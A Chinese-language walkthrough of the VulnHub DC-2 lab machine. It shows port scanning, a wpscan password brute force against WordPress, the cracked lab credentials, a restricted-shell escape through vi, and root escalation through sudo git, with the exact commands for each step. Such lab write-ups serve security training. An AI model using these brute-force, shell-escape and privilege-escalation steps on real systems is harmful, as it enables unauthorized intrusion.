基本信息

靶机下载:https://download.vulnhub.com/dc/DC-2.zip

攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)

靶机:192.168.20.0/24

目标:获取5个flag+root权限

具体流程

信息收集

老样子首先使用arp-scan -l对主机进行探活,发现主机IP为192.168.20.153

image-20241025205134720

之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.153,结果如下所示

image-20241025205510857

开放了80端口和7744端口,其中7744端口对应的是ssh服务,我们首先访问80端口http服务

我们成功发现第一个flag

image-20241025210410298

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

这条提示信息告诉我们常用的密码字典可能不起作用,可能需要我们用cewl自动生成字典,同时我们要尝试登录进去,首先我们需要找到登录框在哪,我们先用dirsearch扫一下后门目录

image-20241025211457242

我们发现是wordpress框架,我们尝试访问后台登录网站,发现存在,我们尝试用wpscan进行网站探针

image-20241025212734247

我们发现了三个存在的用户,即adminjerrytom,我们按照第一个flag的提示用cewl去生成一个我们的密码字典,如下所示

image-20241025213029840

最后我们用wpscan进行爆破即可

wpscan --url http://dc-2 -U user.txt -P custom.txt 

image-20241025213415121

成功找到tom和jerry的密码

tom/parturient
jerry/adipiscing

我们尝试登录后台,成功发现第二个flag

image-20241025213709896

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

它提示我们这里有另外的方式去登录系统,那我们肯定就考虑ssh登录了,毕竟开放了ssh登录,我们尝试ssh登录

ssh登录

ssh tom@192.168.20.153 -p 7744

成功登录进服务器中

image-20241026130226232

并且我们在当前目录下发现了flag3.txt,但是我试了很多读取命令,系统中都不存在

image-20241026130637820

我们只能使用命令查询系统中允许使用的命令是哪些,输入以下命令可以成功查询

compgen -c

586f023567d57b7b511b902eb8797e39

我们发现存在vi命令,我们直接利用vi命令读取flag3即可

image-20241026131047471

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

这明显就是提示我们要尝试切换到jerry用户,jerry用户的权限可能略高于tom用户

image-20241026131648434

但是我们尝试了很多次,发现大部分命令都给禁用了,所以我们要想办法绕过这个rbash的限制,网上有很多rbash逃逸的文章,可以去看看,我们这里使用vi进行rbash逃逸

# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell

# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

image-20241026133035855

逃逸后我们发现我们可以成功执行cat命令,接下来我们试着切换到jerry用户,密码还是使用刚刚的密码进行尝试

权限提升

image-20241026134039966

我们发现成功登录到jerry账户,我们寻找一下进一步提示,找一找flag4

image-20241026134254527

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!

我们尝试进行suid提权,输入find / -perm -u=s -type f 2>/dev/null,发现并没有可以利用的点,我们进而查看sudo提权,输入sudo -l,发现可以利用git进行sudo提权

image-20241026134522770

输入以下命令,可以成功提权

TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x

image-20241026134750599

我们进一步获取交互式shell,如下所示

python -c 'import pty;pty.spawn("/bin/bash")'

image-20241026134931202

成功获取最终flag,本题到此结束

总结

本题难度也不是很大,主要的点有利用cewl生成自定义字典,利用wpscan进行wordpress探测,以及rbash的逃逸,最值得注意的就是 rbash的逃逸,这是我第一次遇见这种问题,可以稍微多注意一点,rbash就是用一个假的bash替换了原来的真bash,进而对能使用的命令进行限制,我们可以通过其开放的命令进行逃逸,例如vimmorelessftp等等